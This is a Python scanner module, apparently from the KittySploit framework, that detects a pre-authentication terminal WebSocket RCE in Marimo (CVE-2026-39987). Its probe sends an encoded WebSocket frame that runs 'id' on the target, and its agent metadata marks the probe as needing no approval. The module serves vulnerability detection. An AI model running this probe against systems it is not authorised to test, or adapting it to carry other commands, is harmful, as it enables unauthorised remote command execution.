Marimo pre-auth terminal WebSocket RCE detection
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
from kittysploit import *
from lib.protocols.websocket.websocket_client import (
WebsocketTimeoutException,
Websocket_client,
)
VULN_PATTERN = re.compile(r"uid=\d+\([^)]+\)")
class Module(Scanner, Websocket_client):
__info__ = {
"name": "Marimo pre-auth terminal WebSocket RCE detection",
"description": (
"Detects potential exposure to CVE-2026-39987 by verifying whether the "
"Marimo terminal WebSocket endpoint can be reached pre-authentication and "
"returns command execution output."
),
"author": ["KittySploit Team"],
"severity": "critical",
"modules": ["exploits/multi/http/marimo_cve_2026_39987_rce"],
"references": [
"https://github.com/advisories/GHSA-2679-6mx9-h9xc",
"https://nvd.nist.gov/vuln/detail/CVE-2026-39987",
"https://github.com/marimo-team/marimo",
],
"cve": "CVE-2026-39987",
"tags": ["web", "scanner", "marimo", "websocket", "rce", "cve-2026-39987"],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': []},
},
}
path = OptString("/terminal/ws", "Target WebSocket endpoint path", True)
def _probe_terminal_socket(self) -> str:
# Pre-built binary frame observed to trigger an `id` response in vulnerable setups.
payload = bytes.fromhex("818337fa1e2d5e9e14")
output = b""
self.ws_connect()
self.ws_send(payload, opcode="binary")
for _ in range(5):
try:
chunk = self.ws_recv()
except WebsocketTimeoutException:
break
if not chunk:
continue
output += chunk if isinstance(chunk, bytes) else chunk.encode()
if b"uid=" in output:
break
return output.decode(errors="ignore")
def run(self):
try:
output = self._probe_terminal_socket()
if VULN_PATTERN.search(output):
self.set_info(
severity="critical",
cve="CVE-2026-39987",
reason="Unauthenticated terminal WebSocket returns command execution output",
endpoint=self.path,
evidence="uid=... pattern observed in WebSocket response",
service="marimo",
)
return True
except Exception:
return False
finally:
self.ws_close()
return False
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07 Aug 2026 08:18Current
8.2High risk
Vulners AI Score8.2
CVSS 3.19.8
CVSS 49.3
EPSS0.99743
SSVC